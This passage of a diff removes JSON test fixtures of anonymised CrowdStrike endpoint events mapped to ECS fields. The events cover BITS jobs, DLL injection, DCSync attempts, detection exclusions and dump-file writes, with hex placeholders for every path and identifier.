-                "path": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b"
-            },
-            "related": {
-                "hash": [
-                    "204061009"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "70760008",
-                "ConfigStateHash": "9968901000",
-                "ContextProcessId": "3100000500830",
-                "ContextTimeStamp": "2025-06-11T18:54:08.903Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "InterfaceGuid": "3c1edad779c6920ba025d32fc1d69997cc40",
-                "InterfaceVersion": "0",
-                "RpcClientProcessId": "4508060034060",
-                "RpcClientThreadId": "207001810400038",
-                "RpcNestingLevel": "0",
-                "RpcOpNum": "4",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "eedef0c0fc042e28949c251e42e913cb3fe6",
-                "name": "11cf958b636de07e"
-            },
-            "device": {
-                "id": "082e3fde13bab854ebe72df7d1543cae"
-            },
-            "event": {
-                "action": "BITSJobCreated",
-                "category": [
-                    "network",
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "eedef0c0fc042e28949c251e42e913cb3fe6|082e3fde13bab854ebe72df7d1543cae|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextThreadId\":\"615659447400000\",\"aip\":\"81.2.69.142\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"3c1edad779c6920ba025d32fc1d69997cc40\",\"RpcClientProcessId\":\"4508060034060\",\"id\":\"eedef0c0fc042e28949c251e42e913cb3fe6\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BITSJobCreated\",\"ContextTimeStamp\":\"1749668048.903\",\"UserName\":\"d38b4ca4\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"3100000500830\",\"InterfaceVersion\":\"0\",\"RpcClientThreadId\":\"207001810400038\",\"AuthenticationId\":\"70760008\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RpcOpNum\":\"4\",\"Entitlements\":\"76\",\"name\":\"11cf958b636de07e\",\"aid\":\"082e3fde13bab854ebe72df7d1543cae\",\"RpcNestingLevel\":\"0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\d38b4ca4\\\\0f51ad6\\\\8c31e\\\\d62f\\\\6\\\\1e547bc1\\\\7c2816f5.crx3\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1",
-                "extension": "crx3",
-                "name": "7c2816f5.crx3",
-                "path": "\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3",
-                "type": "file"
-            },
-            "host": {
-                "id": "082e3fde13bab854ebe72df7d1543cae",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "BITSJobCreated",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "082e3fde13bab854ebe72df7d1543cae",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3100000500830",
-                "thread": {
-                    "id": 615659447400000
-                }
-            },
-            "related": {
-                "hash": [
-                    "9968901000"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "d38b4ca4"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "d38b4ca4"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "50820000",
-                "ContextProcessId": "1107334096070",
-                "ContextTimeStamp": "2025-09-10T19:52:08.090Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "76",
-                "EventOrigin": "1",
-                "InjectedThreadFlag": "2",
-                "RawThreadId": "20602",
-                "SourceThreadStartAddress": "380906022020800",
-                "TargetThreadId": "104623560606010",
-                "ThreadStartAddress": "800560009080720",
-                "ThreadStartContext": "0",
-                "UserThread": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f6f3399ea7912626def5330fbc430ff02ac2",
-                "name": "126bc261e48aa7159043700"
-            },
-            "device": {
-                "id": "1b044c25005f7f866e92ee245376c69e"
-            },
-            "event": {
-                "action": "BrowserInjectedThread",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f6f3399ea7912626def5330fbc430ff02ac2|1b044c25005f7f866e92ee245376c69e|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ThreadStartAddress\":\"800560009080720\",\"InjectedThreadFlag\":\"2\",\"ContextThreadId\":\"500030143990970\",\"aip\":\"89.160.20.128\",\"event_platform\":\"Win\",\"UserThread\":\"1\",\"EventOrigin\":\"1\",\"id\":\"f6f3399ea7912626def5330fbc430ff02ac2\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"BrowserInjectedThread\",\"TargetThreadId\":\"104623560606010\",\"RawProcessId\":\"76850\",\"ContextTimeStamp\":\"1757533928.090\",\"ConfigStateHash\":\"50820000\",\"ContextProcessId\":\"1107334096070\",\"ThreadStartContext\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"7011710205985\",\"Entitlements\":\"76\",\"name\":\"126bc261e48aa7159043700\",\"RawThreadId\":\"20602\",\"aid\":\"1b044c25005f7f866e92ee245376c69e\",\"SourceThreadStartAddress\":\"380906022020800\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "access",
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "1b044c25005f7f866e92ee245376c69e",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "BrowserInjectedThread",
-            "observer": {
-                "address": [
-                    "89.160.20.128"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.128"
-                ],
-                "serial_number": "1b044c25005f7f866e92ee245376c69e",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "7011710205985",
-                "pid": 76850,
-                "thread": {
-                    "id": 500030143990970
-                }
-            },
-            "related": {
-                "hash": [
-                    "50820000"
-                ],
-                "ip": [
-                    "89.160.20.128"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ApplicationName": "7371f07",
-                "CommandCount": 3,
-                "CommandCountMax": 983,
-                "CommandHistory": "41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa",
-                "ConfigStateHash": "7040662006",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "FirstCommand": "0",
-                "LastAdded": "2",
-                "LastDisplayed": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "7f67dc98da59af9b207392dd643b6696521d",
-                "name": "b42a7420dfe70b77"
-            },
-            "device": {
-                "id": "985fa1e64b797b6a5e673a83fdc68828"
-            },
-            "event": {
-                "action": "CommandHistory",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "7f67dc98da59af9b207392dd643b6696521d|985fa1e64b797b6a5e673a83fdc68828|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"CommandHistory\",\"CommandHistory\":\"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa\",\"FirstCommand\":\"0\",\"CommandCountMax\":\"983\",\"ApplicationName\":\"7371f07\",\"ConfigStateHash\":\"7040662006\",\"LastDisplayed\":\"0\",\"aip\":\"81.2.69.192\",\"LastAdded\":\"2\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3502200260267\",\"Entitlements\":\"96\",\"name\":\"b42a7420dfe70b77\",\"EventOrigin\":\"1\",\"id\":\"7f67dc98da59af9b207392dd643b6696521d\",\"CommandCount\":\"3\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"985fa1e64b797b6a5e673a83fdc68828\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "end",
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "985fa1e64b797b6a5e673a83fdc68828",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "CommandHistory",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "985fa1e64b797b6a5e673a83fdc68828",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "3502200260267"
-            },
-            "related": {
-                "hash": [
-                    "7040662006"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "6420000067",
-                "ConfigStateHash": "3400520000",
-                "ContextProcessId": "7067360709400",
-                "ContextTimeStamp": "2025-06-08T15:55:12.834Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "46",
-                "EventOrigin": "45",
-                "ObjectNameEtw": "4355e623406251da1e189448d464d6e80e14d22",
-                "ObjectTypeEtw": "4355e623406251da1e189448d464d6e80e14d22",
-                "ServiceAccessPropertiesEtw": "f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9",
-                "SubjectDomainNameEtw": "61",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "027ea26f253aa77e2fcf588772b9d2d6f37c",
-                "name": "68a40a05895ff9a35"
-            },
-            "destination": {
-                "address": "2a02:cf40::2",
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": "2a02:cf40::2"
-            },
-            "device": {
-                "id": "350ffb0329569649f8bac872d658cbfc"
-            },
-            "event": {
-                "action": "DCSyncAttempted",
-                "category": [
-                    "configuration",
-                    "iam"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "027ea26f253aa77e2fcf588772b9d2d6f37c|350ffb0329569649f8bac872d658cbfc|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"RemoteAddressIP6\":\"2a02:cf40::2\",\"ObjectNameEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"aip\":\"81.2.69.144\",\"UserSid\":\"S-25368-38230-13235\",\"event_platform\":\"Win\",\"ObjectTypeEtw\":\"4355e623406251da1e189448d464d6e80e14d22\",\"ClientComputerName\":\"-\",\"EventOrigin\":\"45\",\"id\":\"027ea26f253aa77e2fcf588772b9d2d6f37c\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DCSyncAttempted\",\"ContextTimeStamp\":\"1749398112.834\",\"UserName\":\"1611e7b\",\"ConfigStateHash\":\"3400520000\",\"EtwRawProcessId\":\"835\",\"ContextProcessId\":\"7067360709400\",\"SubjectDomainNameEtw\":\"61\",\"AuthenticationId\":\"6420000067\",\"ServiceAccessPropertiesEtw\":\"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"Entitlements\":\"46\",\"name\":\"68a40a05895ff9a35\",\"aid\":\"350ffb0329569649f8bac872d658cbfc\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "unknown",
-                "type": [
-                    "access"
-                ]
-            },
-            "host": {
-                "id": "350ffb0329569649f8bac872d658cbfc",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DCSyncAttempted",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "350ffb0329569649f8bac872d658cbfc",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "7067360709400",
-                "pid": 835
-            },
-            "related": {
-                "hash": [
-                    "3400520000"
-                ],
-                "ip": [
-                    "81.2.69.144",
-                    "2a02:cf40::2"
-                ],
-                "user": [
-                    "1611e7b",
-                    "S-25368-38230-13235"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-25368-38230-13235",
-                "name": "1611e7b"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AllowlistingFilterId": "a3ea8710853f4e1e7",
-                "BoundingLimitCount": 1,
-                "BoundingLimitDuration": "3486640",
-                "ConfigStateHash": "4080600092",
-                "ContextTimeStamp": "2025-09-16T11:58:18.952Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "56",
-                "EventCorrelationId": "07103f94d0545ee24951b8c8ce76a5023743",
-                "EventOrigin": "5",
-                "ExclusionSource": "5",
-                "ExclusionType": "1",
-                "PatternId": "607",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "01a0844d7700635d462669bbadb475d7dcf1",
-                "name": "b7f0eea0ced34df529cc"
-            },
-            "device": {
-                "id": "016ef640d4add7c7c7e72a5bfc4198c0"
-            },
-            "event": {
-                "action": "DetectionExcluded",
-                "category": [
-                    "configuration"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "01a0844d7700635d462669bbadb475d7dcf1|016ef640d4add7c7c7e72a5bfc4198c0|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"aip\":\"216.160.83.56\",\"BoundingLimitCount\":\"1\",\"UserSid\":\"S-86813-72426-80065-35729-11846-72517-75085\",\"AllowlistingFilterId\":\"a3ea8710853f4e1e7\",\"event_platform\":\"Win\",\"PatternId\":\"607\",\"EventOrigin\":\"5\",\"ContextData\":\"\",\"id\":\"01a0844d7700635d462669bbadb475d7dcf1\",\"EventCorrelationId\":\"07103f94d0545ee24951b8c8ce76a5023743\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DetectionExcluded\",\"ContextTimeStamp\":\"1758023898.952\",\"ConfigStateHash\":\"4080600092\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"CommandLine\":\"82\\\\ab7e5c1\\\\d24e5507\\\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}\",\"TargetProcessId\":\"6010945098000\",\"BoundingLimitDuration\":\"3486640\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\d24e5507\\\\7d7f62b.exe\",\"ExclusionType\":\"1\",\"Entitlements\":\"56\",\"name\":\"b7f0eea0ced34df529cc\",\"ExclusionSource\":\"5\",\"aid\":\"016ef640d4add7c7c7e72a5bfc4198c0\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change",
-                    "info"
-                ]
-            },
-            "host": {
-                "id": "016ef640d4add7c7c7e72a5bfc4198c0",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DetectionExcluded",
-            "observer": {
-                "address": [
-                    "216.160.83.56"
-                ],
-                "geo": {
-                    "city_name": "Milton",
-                    "continent_name": "North America",
-                    "country_iso_code": "US",
-                    "country_name": "United States",
-                    "location": {
-                        "lat": 47.2513,
-                        "lon": -122.3149
-                    },
-                    "region_iso_code": "US-WA",
-                    "region_name": "Washington"
-                },
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "serial_number": "016ef640d4add7c7c7e72a5bfc4198c0",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "args": [
-                    "82\\ab7e5c1\\d24e5507\\12ab4d0.exe",
-                    "/Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}"
-                ],
-                "args_count": 2,
-                "command_line": "82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}",
-                "entity_id": "6010945098000",
-                "executable": "\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe",
-                "name": "7d7f62b.exe"
-            },
-            "related": {
-                "hash": [
-                    "4080600092"
-                ],
-                "ip": [
-                    "216.160.83.56"
-                ],
-                "user": [
-                    "S-86813-72426-80065-35729-11846-72517-75085"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-86813-72426-80065-35729-11846-72517-75085"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "710307050",
-                "ContextProcessId": "7173090406564",
-                "ContextTimeStamp": "2025-10-03T02:41:24.824Z",
-                "DesiredAccess": "5065411",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "66",
-                "EventOrigin": "1",
-                "FileAttributes": "274",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "HandleCreateAuthenticationId": "4000900",
-                "Information": "2",
-                "IrpFlags": "2500",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "Options": "53790000",
-                "ShareAccess": "3",
-                "Status": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "245b89777adfd68f4020de1758e56c4467f6",
-                "name": "b44ad77e88405a082"
-            },
-            "device": {
-                "id": "cd2ef6603266196efe9f1ac402a1586a"
-            },
-            "event": {
-                "action": "DirectoryCreate",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "245b89777adfd68f4020de1758e56c4467f6|cd2ef6603266196efe9f1ac402a1586a|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"Options\":\"53790000\",\"ContextThreadId\":\"32005063951800\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.192\",\"FileIdentifier\":\"28476710775acf368038686c22c97be5f159b0efaeb459a6\",\"Information\":\"2\",\"event_platform\":\"Win\",\"ShareAccess\":\"3\",\"EventOrigin\":\"1\",\"id\":\"245b89777adfd68f4020de1758e56c4467f6\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"FileAttributes\":\"274\",\"timestamp\":\"1743508799999\",\"Status\":\"0\",\"event_simpleName\":\"DirectoryCreate\",\"ContextTimeStamp\":\"1759459284.824\",\"ConfigStateHash\":\"710307050\",\"ContextProcessId\":\"7173090406564\",\"IrpFlags\":\"2500\",\"HandleCreateAuthenticationId\":\"4000900\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"DesiredAccess\":\"5065411\",\"Entitlements\":\"66\",\"name\":\"b44ad77e88405a082\",\"OperationFlags\":\"0\",\"aid\":\"cd2ef6603266196efe9f1ac402a1586a\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\6b0cc\\\\7392ca2\\\\0f51ad6\\\\813ded8\\\\c7bac469\\\\d598026\\\\43ae32\\\\664edf91\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32",
-                "inode": "28476710775acf368038686c22c97be5f159b0efaeb459a6",
-                "name": "664edf91",
-                "path": "\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91",
-                "type": "dir"
-            },
-            "host": {
-                "id": "cd2ef6603266196efe9f1ac402a1586a",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DirectoryCreate",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "cd2ef6603266196efe9f1ac402a1586a",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "7173090406564",
-                "thread": {
-                    "id": 32005063951800
-                }
-            },
-            "related": {
-                "hash": [
-                    "710307050"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "540271348",
-                "ContextProcessId": "3006607000981",
-                "ContextTimeStamp": "2025-09-18T01:35:28.572Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "96",
-                "EventOrigin": "1",
-                "InjectedDll": "82\\9134161b\\f3acb4df\\a89bcae.dll",
-                "InjectedThreadFlag": "530",
-                "RawThreadId": "5008",
-                "TargetThreadId": "505479000700240",
-                "ThreadStartAddress": "947500501770690",
-                "ThreadStartContext": "9177300087920",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "92855d0df8f2251c1dfe0bd7d56a97128a25",
-                "name": "8b6eec62b5f5f7"
-            },
-            "device": {
-                "id": "8fb3daf730de8e73c353f0c4137a51b5"
-            },
-            "event": {
-                "action": "DllInjection",
-                "category": [
-                    "process"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "92855d0df8f2251c1dfe0bd7d56a97128a25|8fb3daf730de8e73c353f0c4137a51b5|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"DllInjection\",\"TargetThreadId\":\"505479000700240\",\"RawProcessId\":\"7310\",\"ThreadStartAddress\":\"947500501770690\",\"InjectedThreadFlag\":\"530\",\"ContextTimeStamp\":\"1758159328.572\",\"ConfigStateHash\":\"540271348\",\"ContextProcessId\":\"3006607000981\",\"ContextThreadId\":\"140004900194068\",\"aip\":\"81.2.69.192\",\"ThreadStartContext\":\"9177300087920\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"TargetProcessId\":\"3000303437040\",\"Entitlements\":\"96\",\"name\":\"8b6eec62b5f5f7\",\"EventOrigin\":\"1\",\"RawThreadId\":\"5008\",\"id\":\"92855d0df8f2251c1dfe0bd7d56a97128a25\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8fb3daf730de8e73c353f0c4137a51b5\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"InjectedDll\":\"82\\\\9134161b\\\\f3acb4df\\\\a89bcae.dll\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "8fb3daf730de8e73c353f0c4137a51b5",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DllInjection",
-            "observer": {
-                "address": [
-                    "81.2.69.192"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.192"
-                ],
-                "serial_number": "8fb3daf730de8e73c353f0c4137a51b5",
-                "version": "2c8b.4.ae3729d.e6"
-            },
-            "process": {
-                "entity_id": "3000303437040",
-                "pid": 7310,
-                "thread": {
-                    "id": 140004900194068
-                }
-            },
-            "related": {
-                "hash": [
-                    "540271348"
-                ],
-                "ip": [
-                    "81.2.69.192"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "AuthenticationId": "864",
-                "ConfigStateHash": "450007109",
-                "ContextBaseFileName": "77b1704b6a85",
-                "ContextProcessId": "60860076031000",
-                "ContextTimeStamp": "2025-05-09T15:22:18.874Z",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "16",
-                "EventOrigin": "1",
-                "FileCategory": "9",
-                "FileEcpBitmask": "0",
-                "FileObject": "0",
-                "FileOperatorSid": "S-13859-13680-73630",
-                "FileWrittenFlags": "0",
-                "IrpFlags": "0",
-                "IsOnNetwork": "0",
-                "IsOnRemovableDisk": "0",
-                "MajorFunction": "0",
-                "MinorFunction": "0",
-                "OperationFlags": "0",
-                "TokenType": "1",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16",
-                "name": "bf62ca8a93b1c6730"
-            },
-            "device": {
-                "id": "61f77498beebf89847bcda33f8541689"
-            },
-            "event": {
-                "action": "creation",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "b44b58becebd48898306ffd6600bf3f42c16|61f77498beebf89847bcda33f8541689|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"FileOperatorSid\":\"S-13859-13680-73630\",\"ContextBaseFileName\":\"77b1704b6a85\",\"FileCategory\":\"9\",\"Size\":\"50050070\",\"ContextThreadId\":\"600003001070039\",\"MinorFunction\":\"0\",\"aip\":\"81.2.69.142\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"835\\\\b9e65ff8\\\\c23eadb9\",\"id\":\"b44b58becebd48898306ffd6600bf3f42c16\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"DmpFileWritten\",\"ContextTimeStamp\":\"1746804138.874\",\"ConfigStateHash\":\"450007109\",\"ContextProcessId\":\"60860076031000\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"864\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"16\",\"name\":\"bf62ca8a93b1c6730\",\"OperationFlags\":\"0\",\"aid\":\"61f77498beebf89847bcda33f8541689\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\74d33d26\\\\d598026\\\\6666d9f1\\\\d140261e\\\\0f51ad6\\\\8c31e\\\\036b01a3\\\\50f6b654.dmp\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "device": "835\\b9e65ff8\\c23eadb9",
-                "directory": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3",
-                "extension": "dmp",
-                "inode": "c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae",
-                "name": "50f6b654.dmp",
-                "path": "\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp",
-                "size": 50050070,
-                "type": "file"
-            },
-            "host": {
-                "id": "61f77498beebf89847bcda33f8541689",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DmpFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "61f77498beebf89847bcda33f8541689",
-                "version": "2c8b.4.bab7095.e6"
-            },
-            "process": {
-                "entity_id": "60860076031000",
-                "name": "77b1704b6a85",
-                "thread": {
